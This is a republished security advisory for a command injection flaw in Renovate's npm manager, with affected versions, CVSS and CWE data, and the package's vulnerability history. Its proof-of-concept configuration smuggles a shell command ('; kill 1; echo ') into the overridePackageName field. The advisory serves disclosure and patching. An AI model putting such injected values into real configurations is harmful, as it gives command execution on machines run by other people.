Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration
Summary
The user-provided string packageName in the npm manager is appended to the npm install command during lock maintenance without proper sanitization.
Details
Adversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code.
The user-provided workspace names and package keys that are added to the updateCmd variables in lib/modules/manager/npm/post-update/npm.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 35.63.0 (https://github.com/renovatebot/renovate/commit/012c0ac2fe32832e60a62bde405c0a241efd314c), released on April 27 of 2023.
PoC
- Create a git repo with the following content:
renovate.json5:
{
$schema: "https://docs.renovatebot.com/renovate-schema.json",
customDatasources: {
always: {
defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
transformTemplates: ['{"releases":[{"version":"11.1.0"}]}'],
},
},
packageRules: [
{
// Target of the day
matchManagers: ["npm"],
// Provide a command in the package name
overridePackageName: "; kill 1; echo ",
// Override the datasource to prevent a lookup failure
overrideDatasource: "custom.always",
},
],
}package.json:
{
"name": "renovate-aci-4",
"version": "0.0.1",
"dependencies": {
"uuid": "^11.0.0"
}
}package-lock.json:
{
"name": "renovate-aci-4",
"version": "0.0.1",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "renovate-aci-4",
"version": "0.0.1",
"dependencies": {
"uuid": "^11.0.0"
}
},
"node_modules/uuid": {
"version": "11.0.0",
"resolved": "https://registry.npmjs.org/uuid/-/uuid-11.0.0.tgz",
"integrity": "sha512-iE8Fa5fgBY4rN5GvNUJ8TSwO1QG7TzdPfhrJczf6XJ6mZUxh/GX433N70fCiJL9h8EKP5ayEIo0Q6EBQGWHFqA==",
"funding": [
"https://github.com/sponsors/broofa",
"https://github.com/sponsors/ctavan"
],
"license": "MIT",
"bin": {
"uuid": "dist/esm/bin/uuid"
}
}
}
}- Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of
kill 1, terminating the root process of the container.
[!NOTE] This specific proof of concept relies on the introduction of the
overrideDatasourceandoverridePackageNameconfiguration, available since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024.
Impact
This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | renovate | >= 35.63.0, < 40.33.0 | 40.33.0 |
References
- CVSS vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-77- Platform
- npm
- Package
renovate- Disclosed
- 13.01.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-fr4j-65pv-gjjj - CC BY 4.0
Vulnerability history: renovate
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 11
- First → latest
- 10.2019 04.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Medium 11
Disclosures per year
- 2019: 1
- 2020: 1
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 8
-
Renovate vulnerable to arbitrary command injection via npm manager and malicious Renovate configuration this entry
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